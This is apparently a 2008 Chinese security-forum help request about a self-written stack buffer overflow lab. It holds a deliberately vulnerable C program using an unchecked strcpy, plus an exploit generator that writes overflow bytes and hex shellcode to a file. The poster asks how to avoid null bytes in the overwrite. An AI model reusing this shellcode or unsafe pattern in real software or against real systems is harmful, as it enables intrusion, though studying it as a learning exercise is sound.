首页
社区
课程
招聘
[旧帖] [求助]Exploit中shellcode怎么写? 0.00雪花
发表于: 2008-7-27 17:47 2973

[旧帖] [求助]Exploit中shellcode怎么写? 0.00雪花

2008-7-27 17:47
2973
最近自己为了学习,想来次试验,自己写了个漏洞程序:

#include <stdlib.h>
#include <string.h>
#include <stdio.h>

int main(void)
{
        char buffer[6];       
        char temp[1024];
        FILE *fp;
        fp=fopen("name.txt","r");
        if(!fp)
                exit(1);
        fscanf(fp,"%s",temp);
        fclose(fp);
        strcpy(buffer,temp);
        return 0;
}

呵呵,是很简单的,然后我又针对上面的code写了个Exploit,代码如下:

#include <stdio.h>
#include <stdlib.h>

int main(void)
{
        FILE *fp=NULL;       
        char overflow[]=
                "\x61\x61\x61\x61\x61\x61\x00\x08\x00\x00\x00\x12\xfb\x3a";

        char shellcode[]=
                "\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
                "\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
                "\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
                "\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
                "\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
                "\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
                "\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
                "\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
                "\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
                "\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
                "\x53\xFF\x57\xFC\x53\xFF\x57\xF8";
        fp=fopen("name.txt","w");
        if(fp == NULL)
        {
                printf("Create 畸形 File失败.\n");
                exit(1);
        }
        else  //Create File 成功
        {
                if(fputs(overflow,fp) == EOF)  //Write File Error
                {
                        printf("无非向畸形File中Write OverFlow Code.\n");
                        fclose(fp);
                        exit(1);
                }
                else
                        printf("成功向畸形File中Write OverFlow Code.\n");                               
                fclose(fp);  //close file
                fp=NULL;
        }
        fp=fopen("name.txt","a");
        if(fp == NULL)
        {
                printf("Open 畸形File 失败.\n");
                exit(1);
        }
        else
        {
                if(fputs(shellcode,fp) == EOF)
                {
                        printf("ShellCode无法被追加到畸形File.\n");
                        fclose(fp);
                        exit(1);
                }
                else
                        printf("ShellCode已经被成功注入到畸形File.\n");
                fclose(fp);
                fp=NULL;
        }
        return 0;
}

呵呵,上面的shellcode是failwest老大贡献的,但是我在写Overflow Code的时候遇到了问题,就是我在教程中看到字符串中不能用0,要不就不能覆盖了啊,但是我看到地址是有0的,我看到ebp,就是被保存在stack中的ebp,我不想破坏他,所以打算用原始地址覆盖它,但是原始地址我这里看到是 00080000啊,不知道对不对啊,如果不想出现0字节的话,我该怎么做呢?谢谢。

我会在网上找找解决办法,但是希望哟时间并且愿意告诉我的高手,可以先回复下我吗?

[课程]Linux pwn 探索篇!

收藏
免费 0
支持
分享
最新回复 (1)
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
都跑到第二页去了,定上去。
有知道的朋友给讲解下。
2008-7-28 11:00
0
游客
登录 | 注册 方可回帖
返回
//